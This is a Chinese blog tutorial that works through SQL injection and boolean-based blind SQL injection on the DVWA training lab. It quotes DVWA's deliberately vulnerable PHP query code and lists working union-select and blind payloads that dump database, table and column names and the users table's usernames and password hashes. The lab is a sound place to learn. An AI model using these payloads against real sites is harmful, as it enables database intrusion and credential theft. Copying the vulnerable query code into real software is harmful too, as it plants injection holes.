利用DVWA进行简单的漏洞学习

SQL Injection

Low Level

判断注入类型

在输入框中输入1,然后提交
得到如下内容

输入1’,提交得到You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
说明存在字符型的SQL注入。

猜解字段数

通过order by进行猜解字段数
1' order by 1#正常
1' order by 2#正常
1' order by 3#返回错误
说明查询的字段数是两个
那么查询语句的结构差不多就是select <name1>,<name2> from <table> where <id>=<value>;

尝试爆出所有字段

那么我们可以尝试构造1' or '1'='1来爆出所查询的表里的所有字段(因为是字符型注入,所以要考虑引号的闭合)

还原成SQL语句即为select <name1>,<name2> from <table> where <id>=1 or 1=1;

union拼接查询敏感信息

使用联合查询 union 可以爆出我们想知道的一些数据库敏感信息
关于MySQL的information_schema库
爆出数据库名

1' union select database(),2;#

爆出数据库表
1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

爆出表中的所有列
1' union select 1,column_name from information_schema.columns where table_name='users'#

查出用户名和密码
1' union select user,password from users#

审计源码和总结

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

可以看到程序没有对输入的变量$id做任何安全处理,这也直接导致了sql注入的产生

Medium Level

选择Medium等级,发现对输入做了明显的输入限制,从自由输入变为选择id
虽然我们在页面上无法进行输入,但是我们可以通过抓包更改数据的方式进行SQL注入

配好代理,打开bp开始抓包,抓到数据包发现是数字型注入,方式和low等级方式基本相同
要注意的是转义了’等符号,在提交时会将’,”等符号转义为',"
所以在payload中不要出现引号

先order by查字段数

id=1 or 1=1

id=1 union select database(),2

id=1 union select table_name,2 from information_schema.tables where table_schema=database()

因为转移了引号,所以这里的表名用16进制进行绕过引号id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x75736572

id=1 union select user,password from users

High Leavel

分析 high 等级的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

high等级的查询是通过在弹出页面输入id然后提交进行查询,将数据展示在原页面上,
而且id的值储存在了SESSION中,程序也没有对id进行任何的安全处理,这样产生了sql注入问题
high等级的这种做法能够避免sqlmap进行爆破,但是如果不对数据进行安全处理,还是会引发安全问题

high等级的注入payload和low等级的基本相同

1
2
3
4
5
6
7
' order by 1#		正常
' order by 2# 正常
' order by 3# 返回错误字段数为2
' union select 1,database()# 查数据库名
' union select 1,table_name from information_schema.tables where table_schema=database()# 查表名
' union select 1,column_name from information_schema.columns where table_name='users'# 查列名
' union select user,password from dvwa.users# 查字段

SQL Injection(Blind)

  • 对于基于布尔的盲注,可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<–>False发生变化的转折点。
  • 对于基于时间的盲注,通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
  • 报错型注入则是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果。

以下使用的方法均为基于布尔的盲注
基于时间的盲注参考传送门

Low Level

判断注入类型

payload 结果
1 User ID exists in the database.
1’ User ID is MISSING from the database.
0 User ID is MISSING from the database.
1 and 1=1# User ID exists in the database.
1’ and 1=1# User ID exists in the database.
1 and 1=2# User ID exists in the database.
1’ and 1=2# User ID is MISSING from the database.

说明存在字符型的sql盲注

猜解数据库名

  1. 猜解数据库名的长度
payload 结果
1’ and length(database())<10# User ID exists in the database.
1’ and length(database())<5# User ID exists in the database.
1’ and length(database())<3# User ID is MISSING from the database.
1’ and length(database())=4# User ID exists in the database.
说明数据库名长度为4
  1. 猜解数据库名
    利用substr()函数和ascii()函数进行猜解数据库名
    substr(string, start, length)
payload 结果
1’ and ascii(substr(database(),1,1))>97# User ID is MISSING from the database.
1’ and ascii(substr(database(),1,1))<122# User ID is MISSING from the database.
1’ and ascii(substr(database(),1,1))<109# User ID is MISSING from the database.
1’ and ascii(substr(database(),1,1))<103# User ID is MISSING from the database.
1’ and ascii(substr(database(),1,1))<100# User ID is MISSING from the database.
1’ and ascii(substr(database(),1,1))=100# User ID exists in the database.
猜解出数据库名的第一个字符为ascii码为100的字符 d
循环上述操作,最终猜解出数据库名dvwa

猜解表名

  1. 猜解表的数量
    最终返回exist的payload 1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#
    猜解出有两个表
  2. 猜解表名长度
    猜解出第一个表名的长度payload 1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1),1))=9#
    猜解出第二个表名的长度payload 1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5#
  3. 猜解表名
    猜解第一个表名1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#
    ……
    循环猜解得到第一个表名为guestbook
    猜解第二个表名1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>97#
    ……
    循环猜解得到第二个表名为users

猜解列名

  1. 猜解列数量
    payload 1' and (select count(column_name) from information_schema.columns where table_name='users')=11#
  2. 猜解列长度
    payload 1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7#
    ……
    循环猜解出每个列名的长度
  3. 猜解列名
    payload 1' and ascii(strsub((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>1#
    得到列名 user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

    猜解数据

    payload 1' and ascii(substr((select user from dvwa.users where user_id=1),1,1))>1#
    循环查询user和password的值

Medium Level

总体思路和Low没什么区别
思路:bp抓包提交payload,循环爆破数据库名,表名,列名,字段值
注意点:数字型盲注,需要16进制绕过对引号的转义

High Level

思路和Low也没什么区别
思路:构造payload,循环爆破数据库名,表名,列名,字段值
注意点:字符型盲注,可能需要用#注释掉 LIMIT 语句的限制,程序中添加了随机的sleep()函数,会使得基于时间的盲注受到干扰

相关链接:
关于SQL基本增删改查
关于SQL注入的常见方式
SQL手注
dvwa基于时间的盲注

AbelChe wechat
扫码加微信
Donate here!!!
0%